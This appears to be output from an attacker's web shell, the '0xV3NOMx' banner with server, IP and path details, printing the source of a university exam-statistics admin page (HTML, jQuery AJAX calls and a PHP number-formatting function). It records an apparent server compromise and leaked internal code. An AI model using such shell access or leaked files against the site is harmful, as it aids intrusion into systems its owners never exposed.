0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.34.148


Current Path : /proc/thread-self/root/var/www/html/univadmin/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin/get_univdetails.php

<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <title>Script Statistics</title>
    <!-- Favicon-->
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <link href="https://universitysolutions.in/bcu/adm/plugins/bootstrap/css/bootstrap_adm.css" rel="stylesheet">

    <!-- Waves Effect Css -->
    <link href="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.css" rel="stylesheet" />

    <!-- Custom Css -->
    <link href="https://universitysolutions.in/bcu/adm/css/style_adm.css" rel="stylesheet">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,cyrillic-ext" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css">
    <link href="https://universitysolutions.in/bcu/adm/css/themes/all-themes.css" rel="stylesheet" />
    
</head>

<body>
  <div>
<nav class="navbar" style="background-color: #1ba0c7;">
    <div class="container-fluid" style="color: #fff;">
        <div class="col-md-12 m-t--5">
            <center>
              <h2 id="univname" class="brand" style="margin-left: 50px;"></h2>
          </center>
        </div>
    </div>
</nav></div>

<div align="center" style="margin-top:6%">
        
        <div class="form-group p-b-20">
      <div style="width:50%">
	<select
	  id="univcode"
	  class="form-control" name="Combination"
	  onchange="loaddata()"
	>
	  <option value="">-SELECT UNIVERSITY-</option>
	  <option value="logisys3_bcu">
		BENGALURU CITY UNIVERSITY, BENGALURUBengaluru
	  </option>
	  <option value="logisys3_bnu">BENGALURU NORTH UNIVERSITY, KOLAR</option>
	  <option value="logisys3_dud">DAVANGERE UNIVERSITY, DAVANAGERE</option>
	  <option value="logisys3_kus">KUVEMPU UNIVERSITY, SHIVAMOGGA</option>
	  <option value="logisys3_kswu">
		AKKAMAHADEVI WOMEN`S UNIVERSITY, VIJAYAPURA
	  </option>
	  <option value="logisys3_rcu">
		RANI CHANNAMMA UNIVERSITY, BELAGAVI
	  </option>
	  <option value="logisys3_vku">
		VIJAYANAGARA SRI KRISHNADEVARAYA UNIVERSITY, BALLARI
	  </option>
	  <option value="logisys3_gug">GULBARGA UNIVERSITY, KALABURAGI</option>
	  <option value="logisys3_mcu">MCU</option>
	  <option value="logisys3_mum">MUM</option>
	  <option value="logisys3_aims">ACU</option>
	  <option value="logisys3_kusd">kusdde</option>
	  <option value="logisys3_nitte">NITTE</option>
	  <option value="logisys3_reva">REVA</option>
	  <option value="logisys3_jssu">JSSU</option>
	</select>
  </div>
</div>
</div>
<section class="content">
  <div class="container-fluid">
    <div class="tab-content" id="loadtab">
      <!--///////Personal Details Card\\\\\\\-->
      <div class="row clearfix" id = "personal_det">
 
        <div class="col-lg-10 col-md-12 col-sm-12 col-xs-12" style="bottom: 100px;">

          <div class="card ">
            <div class="header bg-blue">
              <h2>Script Statistics (This report is being provided on a pilot basis)</h2>
            </div>
            <div class="row clearfix  body" id="idPerDet">
            
              <div class="field">

                <div class="col-md-5">
                  <b>Select  Degree Group</b>
                  <div class="form-group p-b-20">
                    <div>
                      <select id="fdeggrp" onchange="loadboarddata()"  class="form-control" name="Combination">
                      <option value="">--select--</option>
                      </select>
                    </div>
                  </div>
              </div>
                <div class="col-md-5">
                  <b>Select  Board</b>
                  <div class="form-group p-b-20">
                    <div>
                      <select id="fboard" onchange="gettabledata()" class="form-control" name="Combination">
                        <option value="">--Select--</option>
                    
                      </select>
                    </div>
                  </div>
              </div>
              <div class="col-md-5">
                  <b>Select  Exam</b>
                  <div class="form-group p-b-20">
                    <div>
                      <select id="sem" onchange="gettabledata()" class="form-control" name="Combination">
                        <option value="all">All</option>
                        <option value="a">1st Sem</option>
                        <option value="b">2st Sem</option>
                        <option value="c">3rd Sem</option>
                        <option value="d">4th Sem</option>
                        <option value="e">5th Sem</option>
                        <option value="f">6th Sem</option>
                        <option value="g">7th Sem</option>
                        <option value="h">8th Sem</option>
                        <option value="i">9th Sem</option>
                        <option value="j">10th Sem</option>
                      </select>
                    </div>
                  </div>
              </div>
               

              <table class="m-b-20 table table-condensed table-bordered table-striped table-hover" id="boarddet">
              </table>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
</section>

    <script src="https://universitysolutions.in/bcu/adm/plugins/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap/js/bootstrap.js"></script>

    <!-- Select Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap-select/js/bootstrap-select.js"></script>

    <!-- Slimscroll Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/jquery-slimscroll/jquery.slimscroll.js"></script>

    <!-- Waves Effect Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.js"></script>

     <script src="https://universitysolutions.in/bcu/adm/js/MainPageCompressed.js"></script>
    <!-- Custom Js -->
    <script src="https://universitysolutions.in/bcu/adm/js/admin.js"></script>
    <script src="https://universitysolutions.in/bcu/adm/js/login.js"></script>
    <!-- Demo Js -->
    <script src="https://universitysolutions.in/bcu/adm/js/demo.js"></script>

    <script type="text/javascript">

    function loaddata(){
        var univcode = $("#univcode").val();
        $.ajax({
          type: "POST",
          data: "univcode="+univcode+"&type=colldisp",
          url: "get_univdetailsapi.php",
          success: function(response){
            var degree = JSON.parse(response);
            // console.log(degree);
            var options; 
            options+=`<option value="">--select--</option>`
            for(var i=0;i<degree.length;i++){
              options+=`<option value="${degree[i].fdeggrp}">${degree[i].fdeggrp}</option>`
            }
            
            $("#fdeggrp").html(options);
            // $("#univname").html(degree.funivname);
            // $("#univname").html(degree.funivname);
          }
        });
      }

    function loadboarddata(){
      var univcode = $("#univcode").val();
      var degree = $("#fdeggrp").val();
      
      $.ajax({
        type:"POST",
        data:"univcode="+univcode+"&degree="+degree+"&type=board",
        url:"get_univdetailsapi.php",
        success:function(response){
          var board = JSON.parse(response);
              var options;
              options +=`<option value="all">All</option>`;
            for(var i = 0; i< board.length; i++)
            {
                options += `<option value="${board[i].fboardcode}">${board[i].fboardcode} - ${board[i].fboardname}</options>`;
            }
            
            $("#fboard").html(options);
        }
      });
    }

      function gettabledata(){
        var univcode = $("#univcode").val();
        var degree = $("#fdeggrp").val();
        var board = $("#fboard").val();
        var sem = $("#sem").val();
  
        $.ajax({
          type:"POST",
          data:"&univcode="+univcode+"&degree="+degree+"&fboard="+board+"&sem="+sem+"&type=valdet",
          url:"get_univdetailsapi.php",
          success:function(response){
            // console.log(responce);
            $("#boarddet").html(response);
          }
        });
      }

    </script>

</body>
</html>

<?php

function moneyFormatIndia($num) {
    $explrestunits = "" ;
    if(strlen($num)>3) {
        $lastthree = substr($num, strlen($num)-3, strlen($num));
        $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
        $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for($i=0; $i<sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if($i==0) {
                $explrestunits .= (int)$expunit[$i].","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i].",";
            }
        }
        $thecash = $explrestunits.$lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}

?>